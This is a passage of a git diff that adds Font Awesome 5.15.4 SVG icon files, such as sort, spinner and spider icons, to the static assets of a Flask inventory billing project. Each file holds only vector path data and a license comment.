480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-up.svg new file mode 100644 index 00000000..389a0fcd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm400 128H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-down-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-down-alt.svg new file mode 100644 index 00000000..4f8e6515 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-down-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm-64 0h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-down.svg new file mode 100644 index 00000000..c9108dea --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-128-64h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm256-192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-up-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-up-alt.svg new file mode 100644 index 00000000..7d60532c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-up-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.39-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-up.svg new file mode 100644 index 00000000..340f4407 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-amount-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.77 160 16 160zm416 0H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-down.svg new file mode 100644 index 00000000..5bd920fc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-down-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-down-alt.svg new file mode 100644 index 00000000..e8807bf8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-down-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm224 64h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-down.svg new file mode 100644 index 00000000..e3fd3d28 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zm26.15 162.91a79 79 0 0 0-55 54.17c-14.25 51.05 21.21 97.77 68.85 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zm-176-4h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-up-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-up-alt.svg new file mode 100644 index 00000000..d5f586cb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-up-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31zM400 416h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-up.svg new file mode 100644 index 00000000..6d81233c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-numeric-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M330.17 258.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zM304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zM107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-up.svg new file mode 100644 index 00000000..a7f10357 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M279 224H41c-21.4 0-32.1-25.9-17-41L143 64c9.4-9.4 24.6-9.4 33.9 0l119 119c15.2 15.1 4.5 41-16.9 41z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort.svg new file mode 100644 index 00000000..6bb5d773 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41zm255-105L177 64c-9.4-9.4-24.6-9.4-33.9 0L24 183c-15.1 15.1-4.4 41 17 41h238c21.4 0 32.1-25.9 17-41z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spa.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spa.svg new file mode 100644 index 00000000..70eac22d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spa.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M568.25 192c-29.04.13-135.01 6.16-213.84 83-33.12 29.63-53.36 63.3-66.41 94.86-13.05-31.56-33.29-65.23-66.41-94.86-78.83-76.84-184.8-82.87-213.84-83-4.41-.02-7.79 3.4-7.75 7.82.23 27.92 7.14 126.14 88.77 199.3C172.79 480.94 256 480 288 480s115.19.95 199.23-80.88c81.64-73.17 88.54-171.38 88.77-199.3.04-4.42-3.34-7.84-7.75-7.82zM287.98 302.6c12.82-18.85 27.6-35.78 44.09-50.52 19.09-18.61 39.58-33.3 60.26-45.18-16.44-70.5-51.72-133.05-96.73-172.22-4.11-3.58-11.02-3.58-15.14 0-44.99 39.14-80.27 101.63-96.74 172.07 20.37 11.7 40.5 26.14 59.22 44.39a282.768 282.768 0 0 1 45.04 51.46z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/space-shuttle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/space-shuttle.svg new file mode 100644 index 00000000..003385c6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/space-shuttle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M592.604 208.244C559.735 192.836 515.777 184 472 184H186.327c-4.952-6.555-10.585-11.978-16.72-16H376C229.157 137.747 219.403 32 96.003 32H96v128H80V32c-26.51 0-48 28.654-48 64v64c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v16c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v64c0 35.346 21.49 64 48 64V352h16v128h.003c123.4 0 133.154-105.747 279.997-136H169.606c6.135-4.022 11.768-9.445 16.72-16H472c43.777 0 87.735-8.836 120.604-24.244C622.282 289.845 640 271.992 640 256s-17.718-33.845-47.396-47.756zM488 296a8 8 0 0 1-8-8v-64a8 8 0 0 1 8-8c31.909 0 31.942 80 0 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spell-check.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spell-check.svg new file mode 100644 index 00000000..3c8fd243 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spell-check.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272 256h91.36c43.2 0 82-32.2 84.51-75.34a79.82 79.82 0 0 0-25.26-63.07 79.81 79.81 0 0 0 9.06-44.91C427.9 30.57 389.3 0 347 0h-75a16 16 0 0 0-16 16v224a16 16 0 0 0 16 16zm40-200h40a24 24 0 0 1 0 48h-40zm0 96h56a24 24 0 0 1 0 48h-56zM155.12 22.25A32 32 0 0 0 124.64 0H99.36a32 32 0 0 0-30.48 22.25L.59 235.73A16 16 0 0 0 16 256h24.93a16 16 0 0 0 15.42-11.73L68.29 208h87.42l11.94 36.27A16 16 0 0 0 183.07 256H208a16 16 0 0 0 15.42-20.27zM89.37 144L112 75.3l22.63 68.7zm482 132.48l-45.21-45.3a15.88 15.88 0 0 0-22.59 0l-151.5 151.5-55.41-55.5a15.88 15.88 0 0 0-22.59 0l-45.3 45.3a16 16 0 0 0 0 22.59l112 112.21a15.89 15.89 0 0 0 22.6 0l208-208.21a16 16 0 0 0-.02-22.59z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spider.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spider.svg new file mode 100644 index 00000000..10b25e8f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spider.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M151.17 167.35L177.1 176h4.67l5.22-26.12c.72-3.58 1.8-7.58 3.21-11.79l-20.29-40.58 23.8-71.39c2.79-8.38-1.73-17.44-10.12-20.24L168.42.82c-8.38-2.8-17.45 1.73-20.24 10.12l-25.89 77.68a32.04 32.04 0 0 0 1.73 24.43l27.15 54.3zm422.14 182.03l-52.75-79.12a32.002 32.002 0 0 0-26.62-14.25H416l68.99-24.36a32.03 32.03 0 0 0 16.51-12.61l53.6-80.41c4.9-7.35 2.91-17.29-4.44-22.19l-13.31-8.88c-7.35-4.9-17.29-2.91-22.19 4.44l-50.56 75.83L404.1 208H368l-10.37-51.85C355.44 145.18 340.26 96 288 96c-52.26 0-67.44 49.18-69.63 60.15L208 208h-36.1l-60.49-20.17L60.84 112c-4.9-7.35-14.83-9.34-22.19-4.44l-13.31 8.88c-7.35 4.9-9.34 14.83-4.44 22.19l53.6 80.41a32.03 32.03 0 0 0 16.51 12.61L160 256H82.06a32.02 32.02 0 0 0-26.63 14.25L2.69 349.38c-4.9 7.35-2.92 17.29 4.44 22.19l13.31 8.88c7.35 4.9 17.29 2.91 22.19-4.44l48-72h47.06l-60.83 97.33A31.988 31.988 0 0 0 72 418.3V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-73.11l74.08-118.53c-1.01 14.05-2.08 28.11-2.08 42.21C192 399.64 232.76 448 288 448s96-48.36 96-101.43c0-14.1-1.08-28.16-2.08-42.21L456 422.89V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-77.71c0-6-1.69-11.88-4.86-16.96L438.31 304h47.06l48 72c4.9 7.35 14.84 9.34 22.19 4.44l13.31-8.88c7.36-4.9 9.34-14.83 4.44-22.18zM406.09 97.51l-20.29 40.58c1.41 4.21 2.49 8.21 3.21 11.79l5.22 26.12h4.67l25.93-8.65 27.15-54.3a31.995 31.995 0 0 0 1.73-24.43l-25.89-77.68C425.03 2.56 415.96-1.98 407.58.82l-15.17 5.06c-8.38 2.8-12.91 11.86-10.12 20.24l23.8 71.39z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spinner.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spinner.svg new file mode 100644 index 00000000..5e3d42ce --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spinner.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 48c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-48 368c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm208-208c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zM96 256c0-26.51-21.49-48-48-48S0 229.49 0 256s21.49 48 48 48 48-21.49 48-48zm12.922 99.078c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.491-48-48-48zm294.156 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.49-48-48-48zM108.922 60.922c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.491-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/splotch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/splotch.svg new file mode 100644 index 00000000..4a37212b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/splotch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M472.29 195.89l-67.06-22.95c-19.28-6.6-33.54-20.92-38.14-38.3L351.1 74.19c-11.58-43.77-76.57-57.13-109.98-22.62l-46.14 47.67c-13.26 13.71-33.54 20.93-54.2 19.31l-71.88-5.62c-52.05-4.07-86.93 44.88-59.03 82.83l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24L24.62 355.4c-20.59 41.25 22.84 84.87 73.49 73.81l69.96-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101.04 7.57 104.45-37.22l4.7-61.86c1.35-17.79 12.8-33.86 30.63-42.99l62-31.74c44.88-22.96 39.59-80.17-8.95-96.79z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spray-can.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spray-can.svg new file mode 100644 index 00000000..cc74c376 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/spray-can.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96h128V32zm256 96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-256 32H96c-53.02 0-96 42.98-96 96v224c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V256c0-53.02-42.98-96-96-96zm-64 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zM480 96c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm-96 32c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-96-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 0c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 192c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square-full.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square-full.svg new file mode 100644 index 00000000..a8c093cc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square-full.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 512H0V0h512v512z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square-root-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square-root-alt.svg new file mode 100644 index 00000000..5e9a709e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square-root-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 